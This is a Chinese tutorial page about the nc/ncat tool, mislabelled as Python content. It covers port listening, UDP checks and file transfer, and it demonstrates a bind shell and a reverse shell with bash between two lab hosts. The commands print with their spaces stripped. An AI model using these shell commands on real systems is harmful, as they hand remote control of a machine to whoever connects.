首页 / 知识
python之nc命令简介
2023-11-12 13:34:00
nc介绍
ncat/nc既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的TCP代理。
在大多数Debian发行版中,nc是默认可用的,它会在安装系统的过程中自动被安装。但是在CentOS7/RHEL7的最小化安装中,nc并不会默认被安装。需要用下列命令手工安装。
yuminstallnmap-ncat-y
监听端口
使用-l选指定监听端口,加上-v选项显示详细信息
[root@host_1~]#nc-lv1234
Ncat:Version7.50
Ncat:Listeningon:::1234
Ncat:Listeningon0.0.0.0:1234
连接端口
nc默认就是连接端口,-v显示详细信息,-u连接udp端口
[root@host_2~]#nc-v192.168.159.1341234
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:1234.
查看系统开启的udp端口
[root@host_1~]#netstat-unlp
ActiveInternetconnections(onlyservers)
ProtoRecv-QSend-QLocalAddressForeignAddressStatePID/Programname
udp000.0.0.0:31390.0.0.0:*691/dhclient
udp00127.0.0.1:3230.0.0.0:*640/chronyd
udp000.0.0.0:680.0.0.0:*691/dhclient
udp600:::45845:::*691/dhclient
udp600::1:323:::*640/chronyd
连接udp端口
[root@host_2~]#nc-vu192.168.159.1343139
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:3139.
传输文件
在端口已连接的基础上,可以进行文件传输。
主机1作为接受端打开端口
[root@host_1testdir]#nc-lv1234>receive.txt
主机2上连接端口并传输文件
[root@host_2~]#nc-v192.168.159.1341234
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:1234.
Ncat:1238bytessent,0bytesreceivedin0.03seconds.
远程控制
现有host_1host_2两台主机,演示host_2控制Host_1
host_1192.168.159.134
host_2192.168.159.130
正向控制
host_1执行:
[root@host_1testdir]#nc-l1234-cbash
host_2执行:
[root@host_2~]#nc-v192.168.159.1341234
Ncat:Version7.50
Ncat:Connectedto192.168.159.134:1234.
hostname
host_1
nc命令通过建立的连接将bash传递给对方。上面host_2连接成功后,执行hostname命令返回host_1主机名,表示已成功控制host_1
由于正向控制是在被控端开启端口,所以若存在防火墙很有可能无法连接成功
反向连接
主机host_2监听端口
[root@host_2~]#nc-l1234
主机host_1连接端口并推送bash
[root@host_1testdir]#nc-v192.168.159.1301234-e$(whichbash)
Ncat:Version7.50
Ncat:Connectedto192.168.159.130:1234.
控制端主机开启端口监听,被控端主动连接端口并推送bash到控制端。
nc传输加密
由于nc使用明文进行传输数据,所以引入ncat命令。ncat命令使用--ssl选项表示开启ssl管道加密传输。
以上内容为大家介绍了python之nc命令简介,希望对大家有所帮助,如果想要了解更多Python相关知识,请关注我们
最新内容
相关内容
Python网络编程调用接收数据的三种
Python网络编程调用接收数据的三种方法,数据,代码,基础,通用,通讯,服务,网络,培训,方法,报文,最近在使用python进行网络编程开发一个通用的tc数据科学中必须了解的Python核心库
数据科学中必须了解的Python核心库,数据,生产,代码,标准,分析,培训,图片,工具,统一,涉足,python有三个核心数据科学库,在此基础上还创建了许多Python变量数据类型的转换
Python变量数据类型的转换,代码,数据,培训,信息,字符串,类型,变量,整数,浮点,函数,虽然Python是弱类型编程语言,不需要像Java或C语言那样还要Python fabric远程自动部署简介
Python fabric远程自动部署简介,系统,管理,地址,简介,工具,培训,网址,环境,命令,版本,Fabric是一个Python(2.5-2.7)库,用于简化使用SSH的应用Python元类之通过元类实现数据库OR
Python元类之通过元类实现数据库ORM框架,数据,名称,信息,代码,主体,当中,字段,分析,一致,投入,ORM框架是什么如果是没有做过后端的小伙伴上来Python工具库之collections
Python工具库之collections,代码,数据,模具,情况,工具,概念,管理,一致,培训,名字,collection在英文当中有容器的意思,所以顾名思义,这是一个容Python系统互动
Python系统互动,互动,系统,管理,通信,标准,管理系统,培训,操作系统,功能,进程,系统互动,主要指Python和操作系统(operatesystem)、文件系统(fipython虚拟环境工具virtualenv
python虚拟环境工具virtualenv,环境,名字,工具,系统,工作,工程,位置,管理,培训,地方,virtualenv是一个创建隔绝的Python环境的工具。virtualepython操作系统接口模块:OS
python操作系统接口模块:OS,管理,工作,工具,系统,服务,培训,模块,文件,目录,函数,OS模块提供了很多与操作系统进行交互的函数,比如常见的使用函使用Python执行系统命令方法
使用Python执行系统命令方法,系统,信息,培训,标准,命令,方法,模块,操作,终端,中文,Python是一款操作简单的编程语言,内置丰富的库,能够很容易的基于 Python K-近邻算法的手写识别
基于 Python K-近邻算法的手写识别系统,数据,数字,分析,培训,系统,算法,近邻,测试,样本,图形,这里我们一步步的构造使用k-近邻分类器的手写识python如何导入txt数据库?
python如何导入txt数据库?,数据,时间,代码,培训,数据库,函数,读数,数据表,以上,方法,python将TXT数据导入数据库的方法代码如下:#!/usr/bin/py